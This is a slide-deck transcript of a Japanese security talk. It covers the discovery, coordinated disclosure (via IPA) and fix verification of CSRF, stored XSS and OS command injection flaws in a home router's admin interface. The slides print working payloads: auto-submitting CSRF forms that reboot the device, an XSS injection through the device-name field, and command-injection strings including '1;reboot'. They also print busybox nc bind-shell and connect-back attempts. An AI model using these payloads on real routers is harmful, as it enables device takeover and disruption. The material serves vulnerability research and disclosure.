Downloaded 14 times
![38
CSRF feat. OSコマンドインジェクション
で・・・<html>
<script>
function init(){
document.form[0].submit();
};
</script>
<body onload="init();">
<form action="http://xxxxxxxxxxx/ping.html" method="post">
<input type="hidden" name="ping_ipaddress" value="1;reboot">
</form>
</body>
</html>
脆弱性をついて再起動というイケてる仕様。
OSコマンドインジェクショ
ン](https://image.slidesharecdn.com/thevulnerabilitiesneverbotheredmeanyway-160223160834/75/The-vulnerabilities-never-bothered-me-anyway-38-2048.jpg)
More Related Content
Similar to The vulnerabilities never bothered me anyway
![[data security showcase Sapporo 2015] D23:ホームページ改ざんや情報流出からWEBを守る！ ～WAF「SiteGu...](https://cdn.slidesharecdn.com/ss_thumbnails/dsssapporo2015d23datasecurityjpsecure-150925075233-lva1-app6892-thumbnail.jpg?width=640&height=640&fit=bounds)
![CODE BLUE 2014 : [物理セキュリティ]サイバーセキュリティがすべてではない by インバー・ラズ INBAR RAZ](https://cdn.slidesharecdn.com/ss_thumbnails/cb14inbarrazja-150622045411-lva1-app6892-thumbnail.jpg?width=640&height=640&fit=bounds)
The vulnerabilities never bothered me anyway
- 1. ー 脆弱性なんかに負けない ー Thevulnerabilities never bothered me anyway 1
- 2.
- 3. 3 Satoshi Ogawa(小河哲之) Twitter: abend アルコール摂取に余念がないセキュリティエンジ ニア BurpSuite Japan User Group ISOG WG1 OWASP要件定義WG NO DRINK, NO HACK!
- 4.
- 5.
- 6.
- 7.
- 8.
- 9. 9 他にもアナがあるんじゃないかと思い、いろ いろと試してみた。 ♪ 「このままじゃだめなんだと」 ① Webアプリケーション診断（手動で実施） ②ネットワーク診断（nmap、OpenVASとか）
- 10.
- 11.
- 12.
- 13.
- 14.
- 15.
- 16.
- 17.
- 18. 18 <html> <body> <script type="text/javascript"> setInterval(function(){document.frm.submit()},3000); </script> <form name="frm"target="frame" action="http://xxxxx/init.html" method="POST"> <input type="hidden" name="nosave_reboot" value="1"> </form> <iframe name="frame"></iframe> </body> </html> って、思ったが、再起動後、BASIC認証が発生 するので定期的な攻撃は成立しない。
- 19.
- 20. 20 Reflection XSSやStored XSSとは？ XSSを分類するとタイプは3つあります。 1.Reflected XSS （反射型） 2. Stored XSS （格納型） 3. DOM based XSS （DOM型） 『DOM Based XSS』に関するレポート https://www.ipa.go.jp/files/000024729.pdf ※XSSの分類についても記載されています。
- 21.
- 22.
- 23. 23 3. DOM BasedXSS メールなどを用いて、XSSが発現するようなリンクを利用者 にアクセスさせ、JavaScriptの不備を悪用。サーバにログを残 さずに悪用可能。 メールやページ 書込みによるリン ク Application Server 利用者 攻撃者 script 利用者のブラウザ上で実行 ※ 一般的な説明
- 24.
- 25.
- 26. 26 CSRF feat. StoredXSS 複数の脆弱性を組み合わせると、ちょっと変 わる。CSRFとXSSを組み合わせて・・・
- 27.
- 28. 28 リクエスト（通常時）は POST /ap.html HTTP/1.1 Host:xxx Content-Type: application/x-www-form-urlencoded Content-Length: 42 DeviceName=hostname&NetworkServiceEnable=1 <table class="AD_SET"> <tr> <th>エアステーション名</th> <td> <input type="text" name="DeviceName" size="30" maxlength="64" value='hostname'> </td> </tr> </table> その結果を表示するレスポンス（抜粋）は ここに出力される。 入力した内容
- 29. 29 XSSを引き起こす文字列（赤字）を登録するよ うなCSRFの罠へ利用者をアクセスさせる。 ～抜粋～ <form action=“http://xxxxxxx/ap.html” method=“post”> <inputtype=“hidden” name=“DeviceName” value=“hostname’><script>alert(‘XSS’)</script>”> <input type=“hidden” name=“NetworkServiceEnable” value=“1”> </form>
- 30. 30 その結果（抜粋）・・・ 登録されたデータを変更しない 限り、アクセスするたびにXSSが 引き起こされる。 <input type="text" name="DeviceName"size="30" maxlength="64" value='hostname'><script>alert('XSS‘)</script>'> Scriptタグが挿入され、任意のスクリプ トが実行してしまう。
- 31. 31 アクセスしただけでrebootもできるようになる。 ～抜粋～ <form name="frm" target="frame"action="http://xxxxx/ap.html" method="POST"> <input type="hidden" name="DeviceName" value="host'></form><form name='f' action='init.html' method='post'><input type='hidden' name='nosave_reboot' value='1'></form><script>document.f.submit();</script>"> <input type="hidden" name="NetworkServiceEnable" value="1"> </form>
- 32.
- 33.
- 34.
- 35.
- 36.
- 37. 入力内容によりレスポンスの応答時間が変化 する。 192.168.1.1 | sleep1 192.168.1.1 | sleep 10 →10.129secかかった。 →1.134secかかった。 37
- 38. 38 CSRF feat. OSコマンドインジェクション で・・・<html> <script> functioninit(){ document.form[0].submit(); }; </script> <body onload="init();"> <form action="http://xxxxxxxxxxx/ping.html" method="post"> <input type="hidden" name="ping_ipaddress" value="1;reboot"> </form> </body> </html> 脆弱性をついて再起動というイケてる仕様。 OSコマンドインジェクショ ン
- 39.
- 40.
- 41. 41 ♪ 「The vulnerabilitiesnever bothered me anyway」 脆弱性なんて気にしない ただ、ここまで来ると
- 42.
- 43.
- 44.
- 45.
- 46. 46 しばらくしてIPAからメールがきた。 （2014年9月頃） ② XSS →脆弱性認定キター ① CSRF → 脆弱性認定キター ③ OSコマンドインジェクション → 不受 理
- 47.
- 48. 48 受理しないとする先方のメールを要約すると ・ 管理画面上で操作できる内容のコマンド しか確認できていない。 ・ 確認できているコマンドではCIAに影響を 及ぼさない。 ・実行するにはログインすることが前提 （ユーザも1つしかない）。
- 49.
- 50.
- 51.
- 52. 52 完全性 (Integrity) 情報が破壊、改ざん又は消去されていない状態を確保すること 機密性 (Confidentiality) 情報へのアクセスを認められた者だけが、その情報にアクセスできる状態 を確保すること 可用性(Availability) 情報へのアクセスを認められた者が、必要時に中断することなく、情報及 び関連資産にアクセスできる状態を確保すること By wikipedia
- 53.
- 54.
- 55.
- 56.
- 57.
- 58.
- 59.
- 60.
- 61.
- 62.
- 63.
- 64. 64 ベンダが改修したと言っているので、改修確 認をやってみた。 ② XSS →alertがあがった ① CSRF → なおった ③ OSコマンドインジェクション → な おった
- 65.
- 66.
- 67.
- 68.
- 69.
- 70.
- 71.
- 72.
- 73. 73 2014年7月21日に一番最初に報告したので、1年半か かった。長かったが、全部直していただいて、利用 者として良かったです。 ♪ 「The vulnerabilitiesnever bothered me anyway」 脆弱性なんかに負けない
- 74.
- 75.
- 76.
- 77.
- 78.
- 79.
- 80. Analysis2 80 以下、文字列が出力されるのを確認してい た。 1|echo '1 bytesfrom 1.1.1.1: seq=0 ttl=1 time=9999ms' ping結果を出力する機能なので、出力形式 のチェックをしているのではないかと推測 される。 1|echo 'hello' 以下では、出力されなかった。 1|echo $SHELL
- 81. Analysis3 81 出力形式のチェックはどこまで厳格なって いるのか1byteづつ削ったりして試してみた。 1|echo 'seq=' 最終的にこの赤字箇所があれば、画面出力 される。 1|echo '1bytes from 1.1.1.1: seq=0 ttl=1 time=9999ms'
- 82.
- 83.
- 84.
- 85. Analysis8 85 どんなコマンドが実行可能か調査してみた。 1| echo 'seq='+`ls/bin` 全部表示されない。
- 86. Analysis9 86 なので、こんな感じでアルファベットすべ て確かめればコマンドの洗い出しができる。 1| echo 'seq='+`ls/bin | grep ^a` ただ、手動で試すのはめんどくさい。
- 87.
- 88. Analysis11 88 BurpのIntruder機能は、色々なパターンを自 動的にテストしたりするのに便利で、以下 の流れになる。 ① リクエストをIntruderにセット。 ② Positionsでテストしたい箇所を指定。 ③Payloadでテストするパターンをセッ トし、Go Attackを押下。 ④ 結果の確認。
- 89.
- 90.
- 91.
- 92. Analysis15 92 その結果、以下のコマンドが実行可能。 /bin acl ap_serv acated ash brctl busybox cp cat chmod df dnsmasq dd date echo eraseall erase gzip gpio grep hw_nat hostname iwconfig iwpriv iptables kill lld2d login ln ls mtr mv mtd_write mknod mount mii_mgr mkdir netstat openssl ps ping pwd pidof rm reg sleep switch sh sed tc touch tar uname umount uboot_env vi wscd /sbin arping basename cut ccf_checkLicenseStatus dumpleases ether-wake expr ifilter_checkLicense.sh killall nslookup printf pscan tail top tproxy tftp test unzip uptime wget wc xargs /usr/bin config-vlan.sh config.sh halt ifconfig init insmod klogd lsmod mdev pppoe-relay poweroff reboot rmmod route syslogd udhcpc vconfig wd_keepalive
- 93.
- 94.
- 95.
- 96.
- 97. Analysis20 97 /binにあるコマンドをls –lで見てみると、 多くが/bin/busyboxにlinkされていた。 lrwxrwxrwx 10 0 7 mkdir -> busybox lrwxrwxrwx 1 0 0 7 grep -> busybox lrwxrwxrwx 1 0 0 7 date -> busybox lrwxrwxrwx 1 0 0 7 sed -> busybox
- 98. Analysis21 98 busyboxはLinuxコマンドを詰め合わせたも ので、組み込み機器などで利用されている ようです。 1| echo 'seq='+`/bin/busyboxls` 使い方は以下のように、実行したいコマン ドを引数として渡すと実行される。
- 99. Analysis22 99 ncのlinkがないだけかもしれないので、再 度ncを用いたshellの取得を試してみた。 1| echo 'seq='+`/bin/busyboxnc –c /bin/sh –l –p 8888` 両方ともダメだった。lnで/bin/ncでも試し てみたがやはりだめだった。 1| echo 'seq='+`/bin/busybox nc IPアドレス 8888`
- 100.
- 101. Analysis24 最初はこんな感じでやり始めた。 上記のパターンで確認し、1行が58byte以上 の場合、cutした。 1| echo 'seq='+`catファイル | tail –n X` 101
- 102.
- 103.
- 104.
- 105.
- 106.
- 107.